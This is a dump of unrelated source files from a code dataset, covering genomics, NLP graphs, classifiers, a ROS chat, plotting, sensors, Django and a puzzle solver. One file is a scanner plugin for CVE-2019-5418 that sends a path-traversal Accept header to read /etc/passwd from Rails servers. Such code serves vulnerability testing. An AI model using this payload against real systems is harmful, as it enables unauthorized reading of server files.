current interaction is interaction two\n\t\t\t[firstLoopEnd, secondLoopEnd, interactionStrength] = [firstLoopEndTwo, secondLoopEndTwo, interactionStrengthTwo]\n\t\t\tinteractionOne = False\n\t\tcurrentCoordinateIndex = lastCoordinateIndex\n\t\tif firstLoopEnd[0] != lastChrom:\n\t\t\t# At a new choromosome\n\t\t\tinteractionMatOne, interactionMatTwo, totalInteractions, lastChrom = recordOldDiffInitializeNewChrom(options, lastChrom, interactionMatOne, interactionMatTwo, firstLoopEnd[0], bedCoordinates, totalInteractions)\n\t\twhile firstLoopEnd[0] > bedCoordinates[currentCoordinateIndex][0]:\n\t\t\t# Go to the next bin in the bed file until the interaction's chromosome has been reached\n\t\t\tcurrentCoordinateIndex = currentCoordinateIndex + 1\n\t\t\tif currentCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\tcurrentCoordinateIndex = currentCoordinateIndex - 1\n\t\t\t\tbreak\n\t\twhile firstLoopEnd[1] > bedCoordinates[currentCoordinateIndex][2]:\n\t\t\t# Go to the next bin in the bed file until the interaction's location has been reached\n\t\t\tcurrentCoordinateIndex = currentCoordinateIndex + 1\n\t\t\tif currentCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\tcurrentCoordinateIndex = currentCoordinateIndex - 1\n\t\t\t\tbreak\n\t\tlastCoordinateIndex = currentCoordinateIndex\n\t\twhile peakOverlapsInteraction(firstLoopEnd, bedCoordinates[currentCoordinateIndex]):\n\t\t\t# Iterate through the interactions that overlap with the first loop end\n\t\t\t# ASSUMES THAT INTERACTIONS ARE ON THE SAME CHROMOSOME\n\t\t\t# ASSUMES THAT LOOP ENDS ARE AT DIFFERENT PEAKS\n\t\t\tsecondCoordinateIndex = currentCoordinateIndex + 1\n\t\t\tif secondCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\tsecondCoordinateIndex = secondCoordinateIndex - 1\n\t\t\t\tbreak\n\t\t\twhile secondLoopEnd[1] > bedCoordinates[secondCoordinateIndex][2]:\n\t\t\t\t# Go to the next bin in the bed file until the interaction's location has been reached\n\t\t\t\tsecondCoordinateIndex = secondCoordinateIndex + 1\n\t\t\t\tif secondCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\t\tsecondCoordinateIndex = secondCoordinateIndex - 1\n\t\t\t\t\tbreak\n\t\t\twhile peakOverlapsInteraction(secondLoopEnd, bedCoordinates[secondCoordinateIndex]):\n\t\t\t\t# Iterate through the interactions that overlap with the second loop\n\t\t\t\t[interactionMatOne, interactionMatTwo, secondCoordinateIndex] = incrementApproriateInteractionMat(interactionMatOne, interactionMatTwo, interactionOne, currentCoordinateIndex, secondCoordinateIndex, interactionStrength, totalInteractions)\n\t\t\t\tif secondCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\t\tsecondCoordinateIndex = secondCoordinateIndex - 1\n\t\t\t\t\tbreak\n\t\t\tcurrentCoordinateIndex = currentCoordinateIndex + 1\n\t\t\tif currentCoordinateIndex == interactionMatOne.shape[0] + totalInteractions:\n\t\t\t\t# At the end of the bed file, so stop\n\t\t\t\tcurrentCoordinateIndex = currentCoordinateIndex - 1\n\t\t\t\tbreak\n\t\tif interactionOne:\n\t\t\t# Go to the next line of the 1st interaction file\n\t\t\t[firstLoopEndOne, secondLoopEndOne, interactionStrengthOne] = getInteractionInfo(interactionOneFile.readline())\n\t\telse:\n\t\t\t# Go to the next line of the 2nd interaction file\n\t\t\t[firstLoopEndTwo, secondLoopEndTwo, interactionStrengthTwo] = getInteractionInfo(interactionTwoFile.readline())\n\t[interactionFile.close() for interactionFile in [interactionOneFile, interactionTwoFile]]\n\tsaveDifferentialInteractionFile(options, lastChrom, interactionMatOne, interactionMatTwo)\n\nif __name__==\"__main__\":\n\toptions = parseArgument()\n\tmakeDifferentialInteractionMatForBed(options)\n","sub_path":"makeDifferentialInteractionMatForBed.py","file_name":"makeDifferentialInteractionMatForBed.py","file_ext":"py","file_size_in_byte":12287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"326670036","text":"#!/usr/bin/env python3\n\n'''\nname: CVE-2019-5418漏洞可读取任意命令\ndescription: CVE-2019-5418漏洞可读取任意命令,暂时仅限于Linux系统\n'''\n\nimport time\nimport json\n\nfrom app.lib.utils.request import request\n\n\nclass CVE_2019_5418_BaseVerify:\n    def __init__(self, url):\n        self.url = url\n        self.headers = {\n            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',\n            'Accept': '../../../../../../../../etc/passwd{{'\n        }\n    def run(self):\n        try:\n            if not self.url.startswith(\"http\") and not self.url.startswith(\"https\"):\n                self.url = \"http://\" + self.url\n            check_req = request.get(self.url + '/robots', headers = self.headers)\n            if check_req.status_code == 200 and '/bin/bash' in check_req.text:\n                #print(check_req.text)\n                print('存在CVE-2019-5418漏洞')\n                return True\n            else:\n                print ('不存在CVE-2019-5418漏洞')\n                return False\n        except Exception as e:\n            #print(e)\n            print ('不存在CVE-2019-5418漏洞')\n            return False\n\nif  __name__ == \"__main__\":\n    CVE_2019_5418 = CVE_2019_5418_BaseVerify('http://192.168.30.242:3000')\n    CVE_2019_5418.run()\n\n\n","sub_path":"python/app/plugins/http/Mod_Rails/CVE_2019_5418.py","file_name":"CVE_2019_5418.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"327523777","text":"#From spacy documentation\nfrom spacy.matcher import PhraseMatcher\nfrom spacy.matcher import PhraseMatcher\nfrom spacy.tokens import Span\nimport networkx\nfrom collections import Counter\nimport re\n\nclass EntityMatcher(object):\n    name = \"entity_matcher\"\n\n    def __init__(self, nlp, terms, label):\n        patterns = [nlp.make_doc(text) for text in terms]\n        self.matcher = PhraseMatcher(nlp.vocab)\n        self.matcher.add(label, None, *patterns)\n\n    def __call__(self, doc):\n        matches = self.matcher(doc)\n        for match_id, start, end in matches:\n            span = Span(doc, start, end, label=match_id)\n            doc.ents = list(doc.ents) + [span]\n        return doc\n    \n    \ndef makeGraphFromSpacy(nlpList, minConnections = 1):\n    \"\"\" Takes a list of document objects returned from sPaCy.\n        Iterates through, takes the GPE, Person, and custom Themes from\n        the spacy entities to construct the graph. Edges of the graph\n        represent how often it occured, size of each node is fixed to degree\n    \"\"\"\n    G = networkx.Graph()\n    colorMap = {'GPE':'Blue','PERSON':'Red','ORG':'Green','THEME':'Black'}\n\n    for parNum, doc in enumerate(nlpList[0:len(nlpList)]):\n        G.add_node(f\"par_{parNum}\", t = 'Paragraph', color = 'grey') # Add a node for each paragraph\n        #Get a count of all of the distinct occurences of an entity\n        entCountDict = Counter([(ent.string.strip(),ent.label_) \n                                for ent in doc.ents \n                                if not bool(re.search(r\":|\\.\", ent.text))  \n                                and (ent.label_=='GPE' or \n                                     ent.label_ =='PERSON' or \n                                     ent.label_ =='THEME')])\n        for ent,cnt in entCountDict.items():\n            G.add_node(ent[0],label = ent[1], color = colorMap[ent[1]])\n            #set the weight of the edge equal to the count of occurance\n            G.add_edge(ent[0],f\"par_{parNum}\", weight = cnt)\n\n    #minConnections allows you to prune the tree\n    nodesToRemove = []\n    for node in G.nodes():\n        nodeDegree = G.degree(node)\n        if nodeDegree >= 0:\n            G.node[node]['value'] = nodeDegree\n        else:\n            nodesToRemove.append(node)\n\n    for node in nodesToRemove:\n        G.remove_node(node)\n    G.number_of_nodes()\n    return G\n\ndef from_nx(graphVizNet, nx_graph):\n    assert(isinstance(nx_graph, networkx.Graph))\n    edges = nx_graph.edges(data=True)\n    nodes = nx_graph.nodes()\n    if len(edges) > 0:\n        for e in edges:\n            graphVizNet.add_node(e[0], e[0], title=str(e[0]), color = nx_graph.node[e[0]]['color'], value = nx_graph.node[e[0]]['value'])\n            graphVizNet.add_node(e[1], e[1], title=str(e[1]), color = nx_graph.node[e[1]]['color'], value = nx_graph.node[e[1]]['value'])\n            graphVizNet.add_edge(e[0], e[1], value = nx_graph.edges[e[0],e[1]]['weight'])\n    else:\n        graphVizNet.add_nodes(nodes)\n    return graphVizNet\n\ndef getFirstOrderGraph(graph, node):\n    nodes = []\n    [nodes.append(n) for n in graph.neighbors(node)]\n    nodes += [node]\n    subG = graph.subgraph(nodes)\n    print(f\"Nodes: {subG.number_of_nodes()}\")\n    print(f\"Edges: {subG.number_of_edges()}\")\n    print(f\"Self Loops: {subG.number_of_selfloops()}\")\n    return subG\n\ndef getSecondOrderSubgraph(graph, node):\n    nodes = []\n    for neighbor_list in [graph.neighbors(n) for n in graph.neighbors(node)]:\n        for n in neighbor_list:\n            nodes.append(n)\n    nodes += [n for n in graph.neighbors(node)]\n    subG = graph.subgraph(nodes)\n    print(f\"Nodes: {subG.number_of_nodes()}\")\n    print(f\"Edges: {subG.number_of_edges()}\")\n    print(f\"Self Loops: {subG.number_of_selfloops()}\")\n    return subG","sub_path":"graphUtils.py","file_name":"graphUtils.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"187187785","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd \r\nimport numpy as np\r\nimport math\r\nfrom sklearn import svm\r\nfrom sklearn import neighbors\r\nfrom collections import Counter\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nimport os\r\n\r\nimport os\r\nos.chdir(\"D:/LAB PROJECT/JOURNALS/15 - Efflux v2/CODE/\")\r\nfrom plot_functions import *\r\n\r\n# =============================================================================\r\n# SET PATH AND WORKING DIRECTORY\r\n# =============================================================================\r\n# Set working directory\r\nWORK_DIR = \"D:/LAB PROJECT/JOURNALS/15 - Efflux v2/DATA/5 - BERT Features/\"\r\nWORK_DIR = WORK_DIR+\"cased_L-12_H-768_A-12/\"\r\n\r\n# =============================================================================\r\n# READ DATA\r\n# =============================================================================\r\n# Read testing data\r\nread_test_class = pd.read_csv(WORK_DIR+'efflux_membrane_test.csv')\r\n\r\n# Read training data\r\nread_train_class = pd.read_csv(WORK_DIR+'efflux_membrane_train.csv')\r\n\r\n# Print\r\n# Make sure all classes for each dataset in the first column\r\nread_train_class.head(5)\r\n\r\n\r\n# Data and label/class\r\n# BERT-Base, Uncased: 12-layer, 768-hidden (768 * 20 = 15360 features)\r\n# BERT-Large, Uncased: 24-layer, 1024-hidden (1024 * 20 = 20480 features)\r\n\r\n# Train\r\ntrain_x, train_y = read_train_class.iloc[:,1:].values, read_train_class.iloc[:,0].values.tolist()\r\n\r\n# Test\r\ntest_x, test_y = read_test_class.iloc[:,1:].values, read_test_class.iloc[:,0].values.tolist()\r\n\r\n\r\n# =============================================================================\r\n# TRADITIONAL MACHINE LEARNING ALGORITHMS\r\n# =============================================================================\r\nprint(\"Training Gaussian Naive Bayes classifier:\");\r\nmy_classifier = GaussianNB(priors=None)\r\nmy_classifier.fit(train_x, train_y)\r\npred_lbl_GNB = my_classifier.predict(test_x) # Prediction label/class\r\npred_prb_GNB = my_classifier.predict_proba(test_x); # predict probability for all target labels\r\n\r\nprint(\" Training Random Forest classifier:\");\r\nmy_classifier = RandomForestClassifier(max_depth=10, n_estimators=30)\r\nmy_classifier.fit(train_x, train_y)\r\npred_lbl_RFC = my_classifier.predict(test_x) # Prediction label/class\r\npred_prb_RFC = my_classifier.predict_proba(test_x); # predict probability for all target labels\r\n\r\nprint(\" Training Nearest Neighbors classifier:\");\r\nn_neighbors = 100; # Optional (default = 5)\r\nweights = 'uniform' # str or callable, optional (default = 'uniform'), 'distance'\r\nalgorithm = 'kd_tree' # {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional\r\nleaf_size = 50; # Optional (default = 30)\r\nmy_classifier = neighbors.KNeighborsClassifier()\r\nmy_classifier.fit(train_x, train_y)\r\npred_lbl_KNN = my_classifier.predict(test_x) # Prediction label/class\r\npred_prb_KNN = my_classifier.predict_proba(test_x); # predict probability for all target labels\r\n\r\nprint(\"Training Support Vector Machine - SVM - classifier: rbf\");\r\nkernel ='rbf'; # Optional (default='rbf') 'linear', 'poly', 'rbf', 'sigmoid', 'precomputed' or a callable. If none is given, 'rbf' will be used.\r\nC = [1000]  # SVM regularization parameter, optional (default=1.0)\r\ngamma = [0.0001] # float, optional (default='auto')\r\nfor cost_ in C:\r\n    for gamma_val in gamma:\r\n        my_classifier = svm.SVC(kernel=kernel, gamma=gamma_val, C=cost_, probability=True)\r\n        my_classifier.fit(train_x, train_y)\r\n        pred_lbl_SVM = my_classifier.predict(test_x) # Prediction label/class\r\n        pred_prb_SVM = my_classifier.predict_proba(test_x); # predict probability for all target labels\r\n\r\n\r\n# =============================================================================\r\n# PLOT ROC RUCVE\r\n# =============================================================================\r\nprint('Plot ROC curve -- For all classifiers');\r\n# Get all data first from objs\r\ntest_classes = test_y;\r\npred_prob_GNB = pred_prb_GNB[:,1]; # Pos label in index position 1\r\npred_prob_RFC = pred_prb_RFC[:,1];\r\npred_prob_KNN = pred_prb_KNN[:,1];\r\npred_prob_SVM = pred_prb_SVM[:,1];\r\n\r\n# Output file and plot\r\noutput_plot_file = \"./figures/all_classifiers_ROC_CURVE_efflux_membrane.png\";\r\nset_title = \"ROC Curve Analysis [Efflux vs Membrane]\";\r\nplotROC_all_classifiers(set_title, test_classes, pred_prob_SVM, pred_prob_RFC, pred_prob_GNB, pred_prob_KNN, output_plot_file) # Function\r\n\r\n\r\nprint(\"\\nTHANK YOU :)\\n\\n\");\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"0 - [Efflux-membrane] roc_curve (all classifiers).py","file_name":"0 - [Efflux-membrane] roc_curve (all classifiers).py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"316503662","text":"#!/usr/bin/env python\n\nimport rospy\nfrom os import fork, system\nfrom collections import deque\nfrom random import randint\nfrom std_msgs import msg\nfrom chat.msg import Chat\nfrom datetime import datetime\nfrom time import sleep\n\n\nclass ChatClient(object):\n    \"\"\"\n    Limits history to HISTORY_LIMIT messages, for memory efficiency.\n\n    Truncated binary exponential backoff.\n    If consecutive messages >= TRACK_LIMIT, timeout client.\n    Timeout at least 1 second. Timeout at most TIMEOUT_LIMIT seconds\n    \"\"\"\n    def __init__(self):\n        # To be defined after rospy.init_node().\n        self.rate = None\n        self.pub = None\n\n        self.history = deque()\n        self.history_limit = 10\n        self.track_limit = 2\n        self.track = deque()\n        self.timeout = 1\n        self.timeout_limit = 512\n        \n        assert(self.history_limit > 0)\n        assert(self.track_limit > 0)\n        assert(self.timeout > 0)\n        assert(self.timeout_limit >= self.timeout)\n\n\n    def callback(self, req):\n        \"\"\"\n        Only if message not None, then append message to list HISTORY.\n        If append message, then clear screen and print history.\n\n        @param req: Message from subscribed topic.\n        @type  req: msg.String\n        \"\"\"\n        if req.data:\n            self.history.append(req.data)\n            self.do_history()\n\n        # Keep memories under limit.\n        if len(self.history) >= self.history_limit:\n            self.history.popleft()\n\n\n    def chat_client(self):\n        \"\"\"\n        Publishes to a topic, and subscribes to broadcast messages.\n        \"\"\"\n        rospy.init_node(\"chat_client\", anonymous=True)\n        self.rate = rospy.Rate(10)\n        self.pub = rospy.Publisher(\"topic\", Chat, queue_size=10)\n        rospy.Subscriber(\"broadcast\", msg.String, self.callback)\n\n        while not rospy.is_shutdown():\n            message = raw_input()\n\n            if self.track.count(message) < self.track_limit:\n                self.track.append(message)\n                self.do_publish(message)\n            else:\n                self.do_timeout()\n\n            # Keep memories under limit.\n            if len(self.track) > self.track_limit:\n                self.track.popleft()\n\n\n    def do_history(self):\n        system(\"clear\")\n        for i in self.history:\n            print(i)\n\n    \n    def do_timeout(self):\n        sleeptime = randint(1, self.timeout)\n        if self.timeout < self.timeout_limit:\n            self.timeout *= 2\n\n        print(\"Your message was same as previous two messages.\")\n        print(\"Stop spamming! Timeout: %s seconds.\" % sleeptime)\n        self.track = deque()\n        rospy.sleep(sleeptime)\n\n        # Remove spam warning.\n        self.do_history()\n\n\n    def do_publish(self, message):\n        if not self.rate:\n            raise Exception(\"self.rate must not be None.\")\n        if not self.pub:\n            raise Exception(\"self.pub must not be None.\")\n\n        header = msg.Header()\n        header.stamp = rospy.Time.now()\n        source_id = msg.String(rospy.get_name())\n        message = msg.String(message)\n\n        c = Chat(header, source_id, message)\n        self.pub.publish(c)\n        self.rate.sleep()\n\n\n\nclass ChatServer(object):\n    \"\"\"\n    Subscribes to a node that all clients publish to.\n    Publishes to a node that all clients subscribe to.\n    \"\"\"\n    def __init__(self):\n        self.result = None\n\n\n    def callback(self, req):\n        \"\"\"\n        Converts request into human-readable format.\n        Only publish result if trackcount < tracknum.\n        \"\"\"\n        if type(req) == Chat:\n            self.result = msg.String(\n                \"[\" + datetime.fromtimestamp(req.header.stamp.secs)\n                              .isoformat()\n                + \"] \" + req.source_id.data\n                + \": \" + req.message.data\n            )\n        else:\n            raise Exception(\"Unknown request type: %s, %s\", type(req), req)\n\n    def chat_server(self):\n        rospy.init_node(\"chat_server\", anonymous=True)\n        rospy.Subscriber(\"topic\", Chat, self.callback)\n        pub = rospy.Publisher(\"broadcast\", msg.String, queue_size=100)\n        rate = rospy.Rate(10)\n        print(\"Ready to rock and roll.\")\n\n        while not rospy.is_shutdown():\n            pub.publish(self.result)\n\n            # Only publish every message once.\n            self.result = None\n            rate.sleep()\n\n\nif __name__ == \"__main__\":\n\n    # Fork into parent (server) and child (client).\n    pid = fork()\n\n    # Create server only if server topic ('/broadcast') not published.\n    # Topic list is dictionary of {names : message_type}.\n    # Extract names and if '/broadcast' in names, do not start server.\n    topics = rospy.get_published_topics()\n    topics = list(map(lambda x:x[0], topics))\n    if pid != 0 and '/broadcast' not in topics:\n        server = ChatServer()\n        server.chat_server()\n    else:\n        try:\n            client = ChatClient()\n            print(\"Start chatting!\")\n            client.chat_client()\n        except rospy.ROSInterruptException:\n            pass\n","sub_path":"scripts/broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":5064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"262014025","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom numpy.linalg import norm\nfrom sklearn import decomposition\n\n\ndef calculate_prediction_horizon(errors, horizon):\n    for i, val in enumerate(errors):\n        if val > horizon:\n            return i\n\n\ndef standardize_data(data):\n    data = data.T\n    data = (data - data.mean()) / data.std()\n    return data.T\n\n\npredict_length = 1000\ntrain_length = 100000\n\nshift = 0\n\npath = r\"D:\\globus\\multi_shift_test\\data=QG-beta=0.004-degree=7-number_of_features=88-number_of_reservoirs=11-overlap_size=7-prediction_size=1000-radius=0.95-reservoir_size=1000-shift=0-sigma=0.05-training_size=100000.txt\"\npredicted = np.loadtxt(path)[:, :predict_length]\n\nle = 1\nstep = 1\n\nx = np.arange(predict_length) * step * le\n\n# predicted = np.loadtxt('results/QG_Nodes_11_ResCount_22_L_6_train_10000_res_100.txt')\n\n# pd_data = pd.read_csv('data/3tier_lorenz_v3.csv', header=None).T\n# pd_data = pd.read_csv('data/ks_512.csv', header=None)\n# pd_data = pd.read_csv('data/KS_data.csv', header=None)\n# pd_data = pd.read_csv('data/ks_64.csv', header=None)\n\ndata = pd.read_csv('../../data/QG_everydt_avgu.csv', header=None)\n\ndata = standardize_data(data)\n\ndata = np.asarray(data)\n\ntarget = data[:, shift + train_length:shift + train_length + predict_length]\n\ndata_min = target.min()\ndata_max = target.max()\n\nfig, axes = plt.subplots(nrows=3, ncols=1)\nax1, ax2, ax3 = axes\nim1 = ax1.imshow(target, vmin=data_min, vmax=data_max, cmap='jet', aspect='auto',\n                 extent=[x[0], x[-1], target.shape[0], 0])\nax1.set_title('Target')\nim2 = ax2.imshow(predicted, vmin=data_min, vmax=data_max, cmap='jet', aspect='auto',\n                 extent=[x[0], x[-1], target.shape[0], 0])\nax2.set_title('Predicted')\nim3 = ax3.imshow(target - predicted, cmap='jet', aspect='auto',\n                 extent=[x[0], x[-1], target.shape[0], 0])\nax3.set_title('Prediction error')\n\nfig.colorbar(im1, ax=ax1)\nfig.colorbar(im2, ax=ax2)\nfig.colorbar(im3, ax=ax3)\n\nplt.show()\n\nl2_error = norm(predicted - target, axis=0) / np.mean(norm(target, axis=0))\nprint(calculate_prediction_horizon(l2_error, 0.3))\nplt.plot(l2_error)\nplt.xlabel('t')\nplt.ylabel('RMSE')\nplt.title('Error plot')\nplt.show()\n\n# PCA\npca = decomposition.PCA(n_components=1)\npca.fit(data.T)\npredicted = pca.transform(predicted.T).T\ntarget = pca.transform(target.T).T\n\nplt.plot(x, predicted[0, :])\nplt.plot(x, target[0, :])\nplt.xlabel('t')\nplt.figlegend(['predicted', 'target'], loc='upper left')\nplt.title('Data plot PCA')\nplt.show()\n\nl2_error = norm(predicted - target, axis=0) / np.mean(norm(target, axis=0))\nprint(calculate_prediction_horizon(l2_error, 0.3))\nplt.plot(l2_error)\nplt.xlabel('t')\nplt.ylabel('RMSE')\nplt.title('Error plot PCA')\nplt.show()\n\n# graph_count = 4\n# offset = 0\n# for i in range(graph_count):\n#     plt.subplot(graph_count / 2, 2, i + 1)\n#     plt.plot(x, predicted[i + offset, :])\n#     plt.plot(x, target[i + offset, :])\n#     plt.title(\"Variable \" + str(i + 1 + offset))\n#     axes = plt.gca()\n#     axes.set_ylim([-3, 3])\n#\n# plt.figlegend(['predicted', 'target'], loc='upper left')\n# plt.show()\n","sub_path":"src/eval/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"144196986","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n###################################################################################################                                                                                              \n#                                                                                              \n# DEVELOPERS : Luca Sanna                                                                        \n# VERSIONE : 0.1                                                                                  \n#                                                                                                                    \n# E-MAIL: sanluca78@gmail.com                                                                                        \n# COPYRIGHT: (c) 2015                                                                      \n# PROGRAMMA: Py-Home-Slave  \n#This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.                                                                          \n###################################################################################################\nimport time,sys,os\nfrom threading import Thread\nfrom baseconfig import *\nsys.path.append(\"%slib\" %workingDir)\n\nfrom tools import *\nfrom database import *\nfrom ablib import Pin\nfrom subclass import *\nfrom pub import *\nimport paho.mqtt.client as mqtt\n\nclass MyButton(Thread):\n    time.sleep(5)\n    db=Mydata()\n    mq=MyPub()\n    debouncingtime=1\n    gpio=0\n    prectime=0\n    precimp=0\n    p=0\n    a=0\n    \n    in1 = Pin('J4.11','INPUT')\n    in2 = Pin('J4.13','INPUT')\n        \n    def view_debug(self):\n        x=self.db.view_debug()\n        self.debug=x[1]\n        \n    def vento(self):\n         #gestione sensore vento su scheda tenda\n         #Per calcolare la velocita del vento con questo anemometro \n         #occorre conoscere: (r) il raggio, o braccio ( distanza asse coppette in metri), il numero dei giri al secondo (f), e quindi: \n         #Velocita =  r * 6.28 * f  = Velocita in m/s.  Per Velocita in Km/h = (Vm/s * 3,6)\n         #raggio 0.06; raggio dell'anemometro in metri\n        sec_act=time.time()\n        y = self.db.view_tenda()\n        \n        if self.tenda==1:\n            if self.p==1:\n                self.prectime=sec_act\n                        \n            diff_sec=float(sec_act)-float(self.prectime)\n            diff_imp=float(sec_act)-(self.precimp)\n                        \n                   #da rivedere il controllo tra un impulso e l altro \n            if diff_imp > 0.1:\n                self.p+=1\n                self.a+=1\n                #logCritical(\"imp 2 diff_imp %s sec_act %s precimp %s self.p %s\" %(diff_imp,sec_act,self.precimp,self.p))\n                self.precimp=sec_act\n                        \n                velocita=(0.06*6.28*self.p)/diff_imp\n                #self.db.update_real_time('vento',float(velocita))\n                self.mq.pub('home/esterna/vento','%s' %str(velocita))\n                    \n                if self.p >= y[5]:   \n                     #uso solo il rele due per alzare la tenda   \n                    if diff_sec <= y[4]:\n                        self.db.update_tent('mode',1)\n                        self.db.update_configure('power',1,2)\n                        #self.db.update_configure('power',1,3)\n                        self.a=0\n                            #logCritical(\"pulse %s diff_sec %s y5 %s y4 %s\" %(self.p,diff_sec,y[5],y[4]))\n                    self.p=0\n                            \n        else:\n            self.p+=1\n            \n    def pioggia(self):\n        self.mq.pub('home/esterna/pioggia','1')\n                               \n    def run(self):\n        self.view_debug()\n        self.in1.set_edge('falling', self.vento,3000)\n        self.in2.set_edge('falling', self.pioggia,3000)\n","sub_path":"py-home-slave/py/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"341920308","text":"#!/usr/bin/python\n#\n# app.py\n#\n\nimport sys\n\nsys.setappdefaultencoding(\"utf-8\")\n\nfrom qt import *\n\nif __name__ == '__main__':\n  app = QApplication(sys.argv)\n  QObject.connect(app, SIGNAL('lastWindowClosed()')\n                     , app\n                     , SLOT('quit()')\n                     )\n  win = QMultiLineEdit()\n  app.setMainWidget(win)\n  win.show()\n  app.exec_loop()\n\n\n","sub_path":"pythonkitabi/ingilizce/ch4/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"139499062","text":"# Copyright (C) 2007-2022, Raffaele Salmaso <raffaele@salmaso.org>\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom __future__ import annotations\n\nimport json\n\nfrom django.http import *  # noqa: F401,F403\nfrom django.http import __all__ as http_all\n\nfrom .utils.json import JSONEncoder\n\n__all__ = [\n    *http_all,\n    \"JsonResponse\",\n]\n\n\nclass JsonResponse(HttpResponse):  # noqa: F405\n    def __init__(\n        self,\n        content=None,\n        content_type=\"application/json; charset=utf-8\",\n        status=200,\n        indent=2,\n    ):\n        \"\"\"\n        return JsonResponse(content={'status': 200, 'message': '', 'data': [] })\n        \"\"\"\n        if content is None:\n            content = {}\n        data = json.dumps(content, indent=indent, cls=JSONEncoder)\n        super().__init__(content=data, content_type=content_type, status=status)\n        self[\"Content-Length\"] = len(data)\n","sub_path":"fluo/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"220359704","text":"class Solution(object):\n    def slidingPuzzle(self, board):\n        \"\"\"\n        :type board: List[List[int]]\n        :rtype: int\n        \"\"\"\n        moves = {0:[1, 3], 1:[0, 2, 4], 2:[1,5], 3:[0, 4], 4:[1, 3, 5], 5:[2, 4]}\n        visited, ctr = set(), 0\n        s = ''.join(str(c) for row in board for c in row)\n        queue = [(s, s.index('0'))]\n        while queue:\n            temp = []\n            for s, i in queue:\n                if s not in visited:\n                    if s == \"123450\":\n                        return ctr\n                    visited.add(s)\n                    for move in moves[i]:\n                        new_s = list(s)\n                        new_s[i], new_s[move] = new_s[move], new_s[i]\n                        new_s = ''.join(new_s)\n                        if new_s not in visited:\n                            temp.append((new_s, move))\n            ctr += 1\n            queue = temp\n        return -1\n","sub_path":"773_SlidingPuzzle_H.py","file_name":"773_SlidingPuzzle_H.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
